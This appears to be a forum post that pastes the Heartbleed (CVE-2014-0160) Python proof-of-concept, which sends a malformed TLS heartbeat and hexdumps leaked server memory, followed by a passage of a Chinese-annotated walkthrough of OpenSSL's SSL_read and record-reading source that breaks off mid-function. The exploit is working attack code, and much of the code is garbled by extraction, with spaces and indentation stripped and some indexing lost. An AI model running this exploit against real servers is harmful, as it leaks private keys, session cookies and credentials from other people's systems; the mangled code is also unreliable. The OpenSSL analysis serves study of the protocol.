reko_3 发表于 2015-11-21 10:45:03

OpenSSL TLS Heartbeat Extension


#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
importsys
importstruct
importsocket
importtime
importselect
importre
fromoptparse importOptionParser
options=OptionParser(usage='%prog server ', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p','--port',type='int', default=443,help='TCP port to test (default: 443)')
defh2bin(x):
returnx.replace(' ', '').replace('\n', '').decode('hex')
hello=h2bin('''
16 03 02 00dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 0390 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 3500 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0dc0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 3200 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 9600 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 1500 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 3400 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 0900 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 1500 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb=h2bin('''
18 03 02 00 03
01 40 00
''')
defhexdump(s):
forb inxrange(0,len(s),16):
lin=]
hxdat=' '.join('%02X'% ord(c)forc inlin)
pdat=''.join((c if 32 <= ord(c) <= 126 else '.' )forc inlin)
print'%04x: %-48s %s' % (b, hxdat, pdat)
print
defrecvall(s, length, timeout=5):
endtime=time.time() +timeout
rdata=''
remain=length
whileremain > 0:
rtime=endtime -time.time()
ifrtime < 0:
returnNone
r, w, e =select.select(, [], [], 5)
ifs inr:
data=s.recv(remain)
# EOF?
ifnot data:
returnNone
rdata+=data
remain-=len(data)
returnrdata
defrecvmsg(s):
hdr=recvall(s, 5)
ifhdr isNone:
print'Unexpected EOF receiving record header - server closed connection'
returnNone,None,None
typ, ver, ln =struct.unpack('>BHH', hdr)
pay=recvall(s, ln, 10)
ifpay isNone:
print'Unexpected EOF receiving record payload - server closed connection'
returnNone,None,None
print' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
returntyp, ver, pay
defhit_hb(s):
s.send(hb)
whileTrue:
typ, ver, pay =recvmsg(s)
iftyp isNone:
print'No heartbeat response received, server likely not vulnerable'
returnFalse
iftyp ==24:
print'Received heartbeat response:'
hexdump(pay)
iflen(pay) > 3:
print'WARNING: server returned more data than it should - server is vulnerable!'
else:
print'Server processed malformed heartbeat, but did not return any extra data.'
returnTrue
iftyp ==21:
print'Received alert:'
hexdump(pay)
print'Server returned error, likely not vulnerable'
returnFalse
defmain():
opts, args =options.parse_args()
iflen(args) < 1:
options.print_help()
return
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print'Connecting...'
sys.stdout.flush()
s.connect((args, opts.port))
print'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print'Waiting for Server Hello...'
sys.stdout.flush()
whileTrue:
typ, ver, pay =recvmsg(s)
iftyp ==None:
print'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
iftyp ==22 and ord(pay)==0x0E:
break
print'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if__name__ =='__main__':
main()







SSL连接建立过程分析(5)




本文档的Copyleft归yfydz所有,使用GPL发布,可以自由拷贝,转载,转载时请保持文档的完整性,严禁用于任何商业用途。

msn: yfydz_no1@hotmail.com

来源:http://yfydz.cublog.cn




2.14 SSL_read




SSL结构(struct ssl_st)中的s2,s3指针分别指向SSL2和SSL3的状态结构,这些状态结构中都有用于读的rbuf,其中保存SSL会话接收到的原始数据,另外还有保存记录的rrec,用来保存解码后的数据。在SSL结构中有个指针packet是指向原始数据的。




SSL_read()实现从SSL通道中读取数据,送到应用程序的数据是已经经过SSL解封装的了。




/* ssl/ssl_lib.c */
int SSL_read(SSL *s,void *buf,int num)
{
if (s->handshake_func == 0)
{
SSLerr(SSL_F_SSL_READ, SSL_R_UNINITIALIZED);
return -1;
}
// 发现接收shutdown标志,接收结束
if (s->shutdown & SSL_RECEIVED_SHUTDOWN)
{
s->rwstate=SSL_NOTHING;
return(0);
}
// 调用具体方法的接收函数, 如ssl3_read(), ssl2_read()等
return(s->method->ssl_read(s,buf,num));
}




下面以ssl3_read()函数进行详细说明,ssl3_read()函数本质是调用ssl3_read_internal()
/* ssl/s3_lib.c */
int ssl3_read(SSL *s, void *buf, int len)
{
// 最后一个参数为0,表示是实实在在的读数据,不是偷看(peek)
// peek的意思是读数据,但不会把已读数据从缓冲区中去掉,因此下一次读还会读到
return ssl3_read_internal(s, buf, len, 0);
}




static int ssl3_read_internal(SSL *s, void *buf, int len, int peek)

{

int ret;

// 清除错误信息

clear_sys_error();

// 检查协商是否成功

if (s->s3->renegotiate) ssl3_renegotiate_check(s);

// 标志现在在读应用层数据

s->s3->in_read_app_data=1;

// ssl3读取数据, 类型是SSL3_RT_APPLICATION_DATA,应用数据

ret=ssl3_read_bytes(s,SSL3_RT_APPLICATION_DATA,buf,len,peek);

if ((ret == -1) && (s->s3->in_read_app_data == 2))

{

// s->s3->in_read_app_data == 2表示要读协商数据

/* ssl3_read_bytes decided to call s->handshake_func, which

   * called ssl3_read_bytes to read handshake data.

   * However, ssl3_read_bytes actually found application data

   * and thinks that application data makes sense here; so disable

   * handshake processing and try to read application data again. */

s->in_handshake&#43;&#43;;

// 重新读数据

ret=ssl3_read_bytes(s,SSL3_RT_APPLICATION_DATA,buf,len,peek);

s->in_handshake--;

}

else

s->s3->in_read_app_data=0;
return(ret);
}




读取数据的主要函数实际为ssl3_read_bytes():
/* ssl/ssl3_pkt.c */
int ssl3_read_bytes(SSL *s, int type, unsigned char *buf, int len, int peek)
{
int al,i,j,ret;
unsigned int n;
SSL3_RECORD *rr;
void (*cb)(const SSL *ssl,int type2,int val)=NULL;
// 检查是否分配了接收缓冲区
if (s->s3->rbuf.buf == NULL) /* Not initialized yet */
if (!ssl3_setup_buffers(s))
   return(-1);
// 只处理两种数据,或是应用层数据或者是SSL握手协商数据,
// peek只处理应用层数据,其他则出错
if ((type && (type != SSL3_RT_APPLICATION_DATA) &&
   (type != SSL3_RT_HANDSHAKE) && type) ||
   (peek && (type != SSL3_RT_APPLICATION_DATA)))
{
SSLerr(SSL_F_SSL3_READ_BYTES, ERR_R_INTERNAL_ERROR);
return -1;
}
if ((type == SSL3_RT_HANDSHAKE) && (s->s3->handshake_fragment_len > 0))
/* (partially) satisfy request from storage */
{
// 握手数据碎片, 处理完直到不再是碎片
unsigned char *src = s->s3->handshake_fragment;
unsigned char *dst = buf;
unsigned int k;
/* peek == 0 */
n = 0;
while ((len > 0) && (s->s3->handshake_fragment_len > 0))
   {
   *dst&#43;&#43; = *src&#43;&#43;;
   len--; s->s3->handshake_fragment_len--;
   n&#43;&#43;;
   }
/* move any remaining fragment bytes: */
for (k = 0; k < s->s3->handshake_fragment_len; k&#43;&#43;)
   s->s3->handshake_fragment = *src&#43;&#43;;
return n;
}
/* Now s->s3->handshake_fragment_len == 0 if type == SSL3_RT_HANDSHAKE. */
if (!s->in_handshake && SSL_in_init(s))
{
// 没进握手阶段但属于SSL初始化阶段, 调用SSL握手处理
/* type == SSL3_RT_APPLICATION_DATA */
i=s->handshake_func(s);
if (i < 0) return(i);
if (i == 0)
   {
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);
   return(-1);
   }
}
start:
// 正常的接收数据开始, 开始读写状态为NOTHING
s->rwstate=SSL_NOTHING;
/* s->s3->rrec.type   - is the type of record
* s->s3->rrec.data,    - data
* s->s3->rrec.off,   - offset into 'data' for next read
* s->s3->rrec.length,- number of bytes. */
// 记录类型指针
rr = &(s->s3->rrec);
/* get new packet if necessary */
if ((rr->length == 0) || (s->rstate == SSL_ST_READ_BODY))
{
// 当前没记录,获取新的记录信息, 该函数获取SSL记录数据
ret=ssl3_get_record(s);
if (ret <= 0) return(ret);
}
/* we now have a packet which can be read and processed */
if (s->s3->change_cipher_spec /* set when we receive ChangeCipherSpec,
                              * reset by ssl3_get_finished */
&& (rr->type != SSL3_RT_HANDSHAKE))
{
// 只允许在握手状态下修改当前的算法信息,否则出错
al=SSL_AD_UNEXPECTED_MESSAGE;
SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_DATA_BETWEEN_CCS_AND_FINISHED);
goto err;
}
/* If the other end has shut down, throw anything we read away
* (even in 'peek' mode) */
if (s->shutdown & SSL_RECEIVED_SHUTDOWN)
{
// 接收到对方的FIN信息, 接收结束
rr->length=0;
s->rwstate=SSL_NOTHING;
return(0);
}




if (type == rr->type) /* SSL3_RT_APPLICATION_DATA or SSL3_RT_HANDSHAKE */

{

// 读到是数据类型和期待读到的数据类型一致

// 这是正常大多数的情况

/* make sure that we are not getting application data when we

   * are doing a handshake for the first time */

if (SSL_in_init(s) && (type == SSL3_RT_APPLICATION_DATA) &&

   (s->enc_read_ctx == NULL))

   {

// 在初始阶段只应该读握手信息而不该读应用信息

   al=SSL_AD_UNEXPECTED_MESSAGE;

   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_APP_DATA_IN_HANDSHAKE);

   goto f_err;

   }
if (len <= 0) return(len);
// 在期待读取的数据长度len和已经读到的数据记录长度rr->length取小值作为返回的数据长度
if ((unsigned int)len > rr->length)
   n = rr->length;
else
   n = (unsigned int)len;
memcpy(buf,&(rr->data),n);
if (!peek)
   {
// 如果不是peek,移动记录缓冲的数据偏移指针,长度减
   rr->length-=n;
   rr->off&#43;=n;
   if (rr->length == 0)
    {
    s->rstate=SSL_ST_READ_HEADER;
    rr->off=0;
    }
   }
// 正常返回
return(n);
}




/* If we get here, then type != rr->type; if we have a handshake

* message, then it was unexpected (Hello Request or Client Hello). */
/* In case of record types for which we have 'fragment' storage,
* fill that so that we can process the data at a fixed place.
*/
// 现在情况是读取的数据类型和期待读取的数据类型不一致
// 已经读到的数据不丢弃,而是作为碎片存储起来以后备用
{
unsigned int dest_maxlen = 0;
unsigned char *dest = NULL;
unsigned int *dest_len = NULL;
if (rr->type == SSL3_RT_HANDSHAKE)
   {
// 握手类型数据存到握手碎片区
   dest_maxlen = sizeof s->s3->handshake_fragment;
   dest = s->s3->handshake_fragment;
   dest_len = &s->s3->handshake_fragment_len;
   }
else if (rr->type == SSL3_RT_ALERT)
   {
// 告警信息存到告警碎片区
   dest_maxlen = sizeof s->s3->alert_fragment;
   dest = s->s3->alert_fragment;
   dest_len = &s->s3->alert_fragment_len;
   }
if (dest_maxlen > 0)
   {
// 有缓冲区, 计算可用的最大缓冲区
   n = dest_maxlen - *dest_len; /* available space in 'dest' */
// 如果要写入的长度小于可用空间大小,可全部写入
   if (rr->length < n)
    n = rr->length; /* available bytes */
// 写入缓冲区
   /* now move 'n' bytes: */
   while (n-- > 0)
    {
    dest[(*dest_len)&#43;&#43;] = rr->data;
    rr->length--;
    }
   if (*dest_len < dest_maxlen)
    goto start; /* fragment was too small */
   }
}
/* s->s3->handshake_fragment_len == 4iffrr->type == SSL3_RT_HANDSHAKE;
* s->s3->alert_fragment_len == 2      iffrr->type == SSL3_RT_ALERT.
* (Possibly rr is 'empty' now, i.e. rr->length may be 0.) */
/* If we are a client, check for an incoming 'Hello Request': */
if ((!s->server) &&
(s->s3->handshake_fragment_len >= 4) &&
(s->s3->handshake_fragment == SSL3_MT_HELLO_REQUEST) &&
(s->session != NULL) && (s->session->cipher != NULL))
{
// 本地是客户端
// 握手碎片长度至少是4字节, 类型是HELLO的握手信息时进行处理
s->s3->handshake_fragment_len = 0;
if ((s->s3->handshake_fragment != 0) ||
   (s->s3->handshake_fragment != 0) ||
   (s->s3->handshake_fragment != 0))
   {
// SSL3_MT_HELLO_REQUEST类型后三个字节都要是0
   al=SSL_AD_DECODE_ERROR;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_BAD_HELLO_REQUEST);
   goto err;
   }
if (s->msg_callback)
   s->msg_callback(0, s->version, SSL3_RT_HANDSHAKE, s->s3->handshake_fragment, 4, s, s->msg_callback_arg);
if (SSL_is_init_finished(s) &&
// 协商结束但没设置不需重协商算法标志
   !(s->s3->flags & SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS) &&
// 没设置该ssl3会话的重协商标志
   !s->s3->renegotiate)
   {
// 进行ssl3重协商,实际是将s->s3->renegotiate置1
   ssl3_renegotiate(s);
   if (ssl3_renegotiate_check(s))
    {
// 进行重协商
    i=s->handshake_func(s);
    if (i < 0) return(i);
    if (i == 0)
   {
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);
   return(-1);
   }
    if (!(s->mode & SSL_MODE_AUTO_RETRY))
// 该SSL会话不是自动重试模式
   {
   if (s->s3->rbuf.left == 0) /* no read-ahead left? */
      {
      BIO *bio;
/* In the case where we try to read application data,
   * but we trigger an SSL handshake, we return -1 with
   * the retry option set.Otherwise renegotiation may
   * cause nasty problems in the blocking world */
      s->rwstate=SSL_READING;
      bio=SSL_get_rbio(s);
// 清除读BIO重试标志
      BIO_clear_retry_flags(bio);
// 设置读BIO重试标志
      BIO_set_retry_read(bio);
      return(-1);
      }
   }
    }
   }
/* we either finished a handshake or ignored the request,
* now try again to obtain the (application) data we were asked for */
// 重新读数据
goto start;
}
if (s->s3->alert_fragment_len >= 2)
{
// 处理告警碎片信息, 长度大于等于2字节时就处理
int alert_level = s->s3->alert_fragment;
int alert_descr = s->s3->alert_fragment;
s->s3->alert_fragment_len = 0;
// 分别处理msg和info的回调
if (s->msg_callback)
   s->msg_callback(0, s->version, SSL3_RT_ALERT, s->s3->alert_fragment, 2, s, s->msg_callback_arg);
if (s->info_callback != NULL)
   cb=s->info_callback;
else if (s->ctx->info_callback != NULL)
   cb=s->ctx->info_callback;
if (cb != NULL)
   {
   j = (alert_level << 8) | alert_descr;
   cb(s, SSL_CB_READ_ALERT, j);
   }
if (alert_level == 1) /* warning */
   {
// 普通报警信息
   s->s3->warn_alert = alert_descr;
   if (alert_descr == SSL_AD_CLOSE_NOTIFY)
    {
    s->shutdown |= SSL_RECEIVED_SHUTDOWN;
    return(0);
    }
   }
else if (alert_level == 2) /* fatal */
   {
// 严重错误信息, 断开SSL会话
   char tmp;
   s->rwstate=SSL_NOTHING;
   s->s3->fatal_alert = alert_descr;
   SSLerr(SSL_F_SSL3_READ_BYTES, SSL_AD_REASON_OFFSET &#43; alert_descr);
   BIO_snprintf(tmp,sizeof tmp,&quot;%d&quot;,alert_descr);
   ERR_add_error_data(2,&quot;SSL alert number &quot;,tmp);
   s->shutdown|=SSL_RECEIVED_SHUTDOWN;
   SSL_CTX_remove_session(s->ctx,s->session);
   return(0);
   }
else
   {
   al=SSL_AD_ILLEGAL_PARAMETER;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNKNOWN_ALERT_TYPE);
   goto f_err;
   }
goto start;
}
if (s->shutdown & SSL_SENT_SHUTDOWN) /* but we have not received a shutdown */
{
// SSL会话设置发送SHUTDOWN, 表示不再发送数据
s->rwstate=SSL_NOTHING;
rr->length=0;
return(0);
}
if (rr->type == SSL3_RT_CHANGE_CIPHER_SPEC)
{
// 数据记录类型是更改算法参数
/* 'Change Cipher Spec' is just a single byte, so we know
   * exactly what the record payload has to look like */
if ( (rr->length != 1) || (rr->off != 0) ||
   (rr->data != SSL3_MT_CCS))
   {
// 错误检查
   i=SSL_AD_ILLEGAL_PARAMETER;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_BAD_CHANGE_CIPHER_SPEC);
   goto err;
   }
rr->length=0;
if (s->msg_callback)
   s->msg_callback(0, s->version, SSL3_RT_CHANGE_CIPHER_SPEC, rr->data, 1, s, s->msg_callback_arg);
// 加密算法更改处理,成功时转到重新接收数据
s->s3->change_cipher_spec=1;
if (!do_change_cipher_spec(s))
   goto err;
else
   goto start;
}
/* Unexpected handshake message (Client Hello, or protocol violation) */
if ((s->s3->handshake_fragment_len >= 4) && !s->in_handshake)
{
// 异常的握手信息
// SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS标志表示不需要重新协商加密算法
if (((s->state&SSL_ST_MASK) == SSL_ST_OK) &&
   !(s->s3->flags & SSL3_FLAGS_NO_RENEGOTIATE_CIPHERS))
   {
#if 0 /* worked only because C operator preferences are not as expected (and
       * because this is not really needed for clients except for detecting
       * protocol violations): */
   s->state=SSL_ST_BEFORE|(s->server)
    ?SSL_ST_ACCEPT
    :SSL_ST_CONNECT;
#else
// 如果是服务器端,SSL状态转为接受;如果是客户端, 转为连接
   s->state = s->server ? SSL_ST_ACCEPT : SSL_ST_CONNECT;
#endif
// 重新进行新会话
   s->new_session=1;
   }
// 重新握手协商
i=s->handshake_func(s);
if (i < 0) return(i);
if (i == 0)
   {
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_SSL_HANDSHAKE_FAILURE);
   return(-1);
   }
if (!(s->mode & SSL_MODE_AUTO_RETRY))
   {
   if (s->s3->rbuf.left == 0) /* no read-ahead left? */
    {
    BIO *bio;
    /* In the case where we try to read application data,
   * but we trigger an SSL handshake, we return -1 with
   * the retry option set.Otherwise renegotiation may
   * cause nasty problems in the blocking world */
    s->rwstate=SSL_READING;
    bio=SSL_get_rbio(s);
    BIO_clear_retry_flags(bio);
    BIO_set_retry_read(bio);
    return(-1);
    }
   }
goto start;
}
// 最后再根据记录类型进行处理
switch (rr->type)
{
default:
#ifndef OPENSSL_NO_TLS
/* TLS just ignores unknown message types */
// 如果会话是TLS1版本转为重新接收数据
// 其他版本则认为出错
if (s->version == TLS1_VERSION)
   {
   rr->length = 0;
   goto start;
   }
#endif
al=SSL_AD_UNEXPECTED_MESSAGE;
SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNEXPECTED_RECORD);
goto f_err;
case SSL3_RT_CHANGE_CIPHER_SPEC:
case SSL3_RT_ALERT:
case SSL3_RT_HANDSHAKE:
// 这几种类型前面已经处理过了, 到这还有的话是哪出错了
/* we already handled all of these, with the possible exception
   * of SSL3_RT_HANDSHAKE when s->in_handshake is set, but that
   * should not happen when type != rr->type */
al=SSL_AD_UNEXPECTED_MESSAGE;
SSLerr(SSL_F_SSL3_READ_BYTES,ERR_R_INTERNAL_ERROR);
goto f_err;
case SSL3_RT_APPLICATION_DATA:
// 这时情况是收到的是应用数据,而期望接收的是握手数据
/* At this point, we were expecting handshake data,
   * but have application data.If the library was
   * running inside ssl3_read() (i.e. in_read_app_data
   * is set) and it makes sense to read application data
   * at this point (session renegotiation not yet started),
   * we will indulge it.
   */
// 要接收应用数据
if (s->s3->in_read_app_data &&
// 需要重协商
   (s->s3->total_renegotiations != 0) &&
   ((
    (s->state & SSL_ST_CONNECT) &&
    (s->state >= SSL3_ST_CW_CLNT_HELLO_A) &&
    (s->state <= SSL3_ST_CR_SRVR_HELLO_A)
    ) || (
   (s->state & SSL_ST_ACCEPT) &&
   (s->state <= SSL3_ST_SW_HELLO_REQ_A) &&
   (s->state >= SSL3_ST_SR_CLNT_HELLO_A)
   )
    ))
   {
// in_read_app_data设置为2,会重新执行ssl3_read_bytes()
   s->s3->in_read_app_data=2;
   return(-1);
   }
else
   {
   al=SSL_AD_UNEXPECTED_MESSAGE;
   SSLerr(SSL_F_SSL3_READ_BYTES,SSL_R_UNEXPECTED_RECORD);
   goto f_err;
   }
}
/* not reached */
f_err:
// 错误时发送告警信息
ssl3_send_alert(s,SSL3_AL_FATAL,al);
err:
return(-1);
}




可以看出接收数据的重点函数是ssl3_get_record():
/* ssl/s3_pkt.c */
static int ssl3_get_record(SSL *s)
{
int ssl_major,ssl_minor,al;
int enc_err,n,i,ret= -1;
SSL3_RECORD *rr;
SSL_SESSION *sess;
unsigned char *p;
unsigned char md;
short version;
unsigned int mac_size;
int clear=0;
size_t extra;
int decryption_failed_or_bad_record_mac = 0;
unsigned char *mac = NULL;
// 所读数据的记录指针
rr= &(s->s3->rrec);
sess=s->session;
if (s->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
// MS的SSL实现可附带较大数据
extra=SSL3_RT_MAX_EXTRA;
else
extra=0;
if (extra != s->s3->rbuf.len - SSL3_RT_MAX_PACKET_SIZE)
// 普通情况下读缓冲大小就是SSL3_RT_MAX_PACKET_SIZE
{
/* actually likely an application error: SLS_OP_MICROSOFT_BIG_SSLV3_BUFFER
* set after ssl3_setup_buffers() was done */
SSLerr(SSL_F_SSL3_GET_RECORD, ERR_R_INTERNAL_ERROR);
return -1;
}
again:
/* check if we have the header */
if ( (s->rstate != SSL_ST_READ_BODY) ||
// 接收的数据长度还不够记录长度
(s->packet_length < SSL3_RT_HEADER_LENGTH))
{
// 读至少SSL3_RT_HEADER_LENGTH长度,最大s->s3->rbuf.len
n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
if (n <= 0) return(n); /* error or non-blocking */
s->rstate=SSL_ST_READ_BODY;
// p现在是SSL收到的原始数据头
p=s->packet;
/* Pull apart the header into the SSL3_RECORD */
// SSL记录类型
rr->type= *(p&#43;&#43;);
// 版本信息
ssl_major= *(p&#43;&#43;);
ssl_minor= *(p&#43;&#43;);
version=(ssl_major<<8)|ssl_minor;
// 数据长度
n2s(p,rr->length);
/* Lets check version */
if (s->first_packet)
   {
   s->first_packet=0;
   }
else
   {
// 已经不是第一个包了
// 检查版本是否等于SSL会话版本,这时应该协商好应该是相同的了
// 如果不同就是错的
   if (version != s->version)
    {
    SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);
    /* Send back error using their
   * version number :-) */
    s->version=version;
    al=SSL_AD_PROTOCOL_VERSION;
    goto f_err;
    }
   }
// 检查版本是否是SSL3
if ((version>>8) != SSL3_VERSION_MAJOR)
   {
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_WRONG_VERSION_NUMBER);
   goto err;
   }
// 接收数据过长出错
if (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH&#43;extra)
   {
   al=SSL_AD_RECORD_OVERFLOW;
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_PACKET_LENGTH_TOO_LONG);
   goto f_err;
   }
/* now s->rstate == SSL_ST_READ_BODY */
}
/* s->rstate == SSL_ST_READ_BODY, get and decode the data */
// SSL3_RT_HEADER_LENGTH = 5
if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH)
{
// 已收到的数据还不够记录长度, 继续读够记录长度
/* now s->packet_length == SSL3_RT_HEADER_LENGTH */
i=rr->length;
n=ssl3_read_n(s,i,i,1);
if (n <= 0) return(n); /* error or non-blocking io */
/* now n == rr->length,
   * and s->packet_length == SSL3_RT_HEADER_LENGTH &#43; rr->length */
}
//
// 状态转为已经接收到SSL头信息
s->rstate=SSL_ST_READ_HEADER; /* set state for later operations */
/* At this point, s->packet_length == SSL3_RT_HEADER_LNGTH &#43; rr->length,
* and we have that many bytes in s->packet
*/
// input指向SSL原始数据头后的数据
rr->input= &(s->packet);
/* ok, we can now read from 's->packet' data into 'rr'
* rr->input points at rr->length bytes, which
* need to be copied into rr->data by either
* the decryption or by the decompression
* When the data is 'copied' into the rr->data buffer,
* rr->input will be pointed at the new buffer */
/* We now have - encrypted [ MAC [ compressed [ plain ] ] ]
* rr->length bytes of encrypted compressed stuff. */
/* check is not needed I believe */
if (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH&#43;extra)
{
// 数据又读多了
al=SSL_AD_RECORD_OVERFLOW;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_ENCRYPTED_LENGTH_TOO_LONG);
goto f_err;
}
/* decrypt in place in 'rr->input' */
// 记录数据
rr->data=rr->input;
// 对数据进行解密
enc_err = s->method->ssl3_enc->enc(s,0);
if (enc_err <= 0)
{
if (enc_err == 0)
   /* SSLerr() and ssl3_send_alert() have been called */
   goto err;
/* Otherwise enc_err == -1, which indicates bad padding
   * (rec->length has not been changed in this case).
   * To minimize information leaked via timing, we will perform
   * the MAC computation anyway. */
// 注意 enc_err<0 时并不立即转到错误处理,只是作个标志
decryption_failed_or_bad_record_mac = 1;
}




/* r->length is now the compressed data plus mac */

if ( (sess == NULL) ||

(s->enc_read_ctx == NULL) ||

(s->read_hash == NULL))

// 会话,加密上下文,读认证码操作都为空的情况,设置标志clear

clear=1;
if (!clear)
{
// HASH算法的认证码长度
mac_size=EVP_MD_size(s->read_hash);
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH&#43;extra&#43;mac_size)
   {
#if 0 /* OK only for stream ciphers (then rr->length is visible from ciphertext anyway) */
   al=SSL_AD_RECORD_OVERFLOW;
   SSLerr(SSL_F_SSL3_GET_RECORD,
    SSL_R_PRE_MAC_LENGTH_TOO_LONG);
   goto f_err;
#else
// 长度过长, 设置出错标志
   decryption_failed_or_bad_record_mac = 1;
#endif   
   }
/* check the MAC for rr->input (it's in mac_size bytes at the tail) */
if (rr->length >= mac_size)
   {
// 记录长度中减去认证码长度
   rr->length -= mac_size;
// 认证码数据指针
   mac = &rr->data;
   }
else
   {
   /* record (minus padding) is too short to contain a MAC */
#if 0 /* OK only for stream ciphers */
   al=SSL_AD_DECODE_ERROR;
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
   goto f_err;
#else
// 记录长度还没认证码长度长, 设置出错标志
   decryption_failed_or_bad_record_mac = 1;
   rr->length = 0;
#endif
   }
// 用认证码对数据进行认证
i=s->method->ssl3_enc->mac(s,md,0);
if (mac == NULL || memcmp(md, mac, mac_size) != 0)
   {
   decryption_failed_or_bad_record_mac = 1;
   }
}
if (decryption_failed_or_bad_record_mac)
{
// 解密错误, 跳出
/* A separate 'decryption_failed' alert was introduced with TLS 1.0,
   * SSL 3.0 only has 'bad_record_mac'.But unless a decryption
   * failure is directly visible from the ciphertext anyway,
   * we should not reveal which kind of error occured -- this
   * might become visible to an attacker (e.g. via a logfile) */
al=SSL_AD_BAD_RECORD_MAC;
SSLerr(SSL_F_SSL3_GET_RECORD,
   SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
goto f_err;
}
/* r->length is now just compressed */
if (s->expand != NULL)
// 现在数据是经过压缩处理的
{
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH&#43;extra)
   {
// 压缩数据长度又太长了
   al=SSL_AD_RECORD_OVERFLOW;
   SSLerr(SSL_F_SSL3_GET_RECORD,
    SSL_R_COMPRESSED_LENGTH_TOO_LONG);
   goto f_err;
   }
// 对数据解压
if (!do_uncompress(s))
   {
// 解压失败, 跳出
   al=SSL_AD_DECOMPRESSION_FAILURE;
   SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
   goto f_err;
   }
}
if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH&#43;extra)
{
// 解压缩后的明文数据长度过长, 跳出
al=SSL_AD_RECORD_OVERFLOW;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
goto f_err;
}
rr->off=0;
/* So at this point the following is true
* ssl->s3->rrec.typeis the type of record
* ssl->s3->rrec.length == number of bytes in record
* ssl->s3->rrec.off == offset to first valid byte
* ssl->s3->rrec.data == where to take bytes from, increment
*      after use :-).
*/
/* we have pulled in a full packet so zero things */
s->packet_length=0;
/* just read a 0 length packet */
// 如果记录长度为0, 转到继续接收数据
if (rr->length == 0) goto again;
return(1);
f_err:
// 错误发送告警信息
ssl3_send_alert(s,SSL3_AL_FATAL,al);
err:
return(ret);
}




最后看一下ssl3_read_n()函数,接收SSL原始数据, 该函数只被ssl3_get_record()函数调用,是static的:
/* ssl/s3_pkt.c */
static int ssl3_read_n(SSL *s, int n, int max, int extend)
{
// extend为0时表示要读全新数据,非0表示可以用现在缓冲中的数据
/* If extend == 0, obtain new n-byte packet; if extend == 1, increase
* packet by another n bytes.
* The packet will be in the sub-array of s->s3->rbuf.buf specified
* by s->packet and s->packet_length.
* (If s->read_ahead is set, 'max' bytes may be stored in rbuf
* .)
*/
int i,off,newb;
if (!extend)
{
/* start with empty packet ... */
// 确定包缓冲地址, 置当前的包长为0
if (s->s3->rbuf.left == 0)
   s->s3->rbuf.offset = 0;
s->packet = s->s3->rbuf.buf &#43; s->s3->rbuf.offset;
s->packet_length = 0;
/* ... now we can act as if 'extend' was set */
}
/* if there is enough in the buffer from a previous read, take some */
if (s->s3->rbuf.left >= (int)n)
{
// 如果已读缓冲区中剩余数据超过要读的数据,直接移动指针即可
s->packet_length&#43;=n;
s->s3->rbuf.left-=n;
s->s3->rbuf.offset&#43;=n;
return(n);
}
/* else we need to read more data */
// 预读数据长度为0
if (!s->read_ahead)
max=n;
{
/* avoid buffer overflow */
// 当前缓冲区最大空闲值
int max_max = s->s3->rbuf.len - s->packet_length;
if (max > max_max)
   max = max_max;
}
if (n > max) /* does not happen */
{
// 要读的数据量超过了缓冲区量,出错
SSLerr(SSL_F_SSL3_READ_N,ERR_R_INTERNAL_ERROR);
return -1;
}
off = s->packet_length;
// newb为读缓冲区中剩下的有效数据长度
newb = s->s3->rbuf.left;
/* Move any available bytes to front of buffer:
* 'off' bytes already pointed to by 'packet',
* 'newb' extra ones at the end */
if (s->packet != s->s3->rbuf.buf)
{
/*off > 0 */
memmove(s->s3->rbuf.buf, s->packet, off&#43;newb);
